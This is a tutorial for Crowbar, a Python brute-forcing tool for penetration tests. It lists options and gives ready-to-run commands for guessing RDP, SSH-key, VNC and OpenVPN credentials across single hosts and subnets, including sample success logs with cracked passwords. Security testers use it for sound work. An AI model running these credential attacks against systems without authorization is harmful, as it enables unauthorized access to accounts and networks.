Bruteforcing

Crowbar – Brute Forcing Tool

Crowbar (formally known as Levye) is a python based brute forcing tool that can be used during penetration tests. It is developed to support protocols that are not currently supported by THC-Hydra and other popular brute forcing tools.

Currently, Crowbar supports:
  • OpenVPN (-b openvpn)
  • Remote Desktop Protocol (RDP) with NLA support (-b rdp)
  • SSH private key authentication (-b sshkey)
  • VNC key authentication (-b vpn)

Installation

Install all the dependencies:

# apt-get -y install openvpn freerdp-x11 vncviewer

Then get latest version from GitHub:

# git clone https://github.com/galkan/crowbar

Note: The RDP client package depends on your OS:

  • Debian 7/8 & Kali 1/2 uses freerdp-x11 package.
  • Else you can try xfreerdp.
  • Else you may need to compile & tweak freerdp

Usage:

./crowbar.py <options>

-b: Target service. Crowbar supports: openvpn, rdp, sshkey, vnckey

-c: Static password to login with

-C: </path/to/file> for passwords list

-d: Run a tcp port scan (nmap) on the IP range (-s/-S) before trying to brute force. This will discover whether the target’s port is open.

-D: Enable debug mode

-h: Shows a help menu

-k: </path/to/file-or-folder> for key files (for SSH or VNC)

-l: </path/to/file> to store the log file (default is ./crowbar.log)

-m: </path/to/file> for a OpenVPN configuration file

-n: Thread count

-o: </path/to/file> to store the successfully attempt(s) (default is ./crowbar.out)

-p: Port number (if the service is not on the default port)

-q: Enable quiet mode (only show successful logins)

-s: Target IP address/range (in CIDR notation)

-S: </path/to/file> which is stores target IP addresses

-t: Timeout value

-u: Single username

-U: </path/to/file> which stores the username list

-v: Enable verbose mode (shows all the attempts)

If you want to see all usage options, please use: ./crowbar.py –help.







If you want to use username including DOMAIN, please specify username like below. Backslash () is the escape character for python. So you have to use either of the following two formats:

# ./crowbar.py -b rdp -u DOMAIN\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAINgokhan alkan":Aa123456,
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,

Brute Forcing Remote Desktop Protocol (RDP):

Below are a few examples of attacking RDP using Crowbar.

  • RDP brute forcing a single IP address using a single username and a single password:
# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456
  • RDP brute forcing a single IP address using username list file and a single password:
# ./crowbar.py -b rdp -s 192.168.2.211/32 -U /root/Desktop/userlist -c passw0rd
  • RDP brute forcing a single IP address using a single username and a password list:
# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C /root/Desktop/passlist
  • RDP brute forcing a subnet using a username list and a password list in discovery mode:
# ./crowbar.py -b rdp -s 192.168.2.0/24 -U /root/Desktop/userlist -C /root/Desktop/passlist -d

Brute Forcing SSH Private Keys:

Below are a few examples which you have using Crowbar.
  • SSH key brute force attempt to a single IP address using a single username and a single private SSH key:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k /root/.ssh/id_rsa
  • SSH key brute force attempt to a single IP address using a single username and all the SSH keys in a folder:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k /root/.ssh/
  • SSH key brute force attempt to a subnet using a single username and all the SSH keys in a folder in discovery mode:
# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k /root/.ssh/ -d

Brute Forcing VNC:

Below is an example of attacking a VNC service using Crowbar.

  • VNC brute force attempt to a single IP address using a password file with a specified port number:
# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k /root/.vnc/passwd

Brute Forcing OpenVPN:

Below is an example of attacking OpenVPN using Crowbar.

  • OpenVPN brute force attempt to a single IP address using a configuration file, a certificate file, a single username and a single password with a specified port number:
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m /root/Desktop/vpnbook.ovpn -k 
/root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF

Logs & Output

Once you have executed Crowbar, it generates 2 files for logging and result that are located in your current directory. Default log file name is crowbar.log which stores all brute force attempts while execution. If you don’t want use default log file, you should use -l log_path. The second file is crowbar.out which stores successful attempts while execution. If you don’t want use default output file, you should use -o output_path. After that, you can observe Crowbar operations.

 

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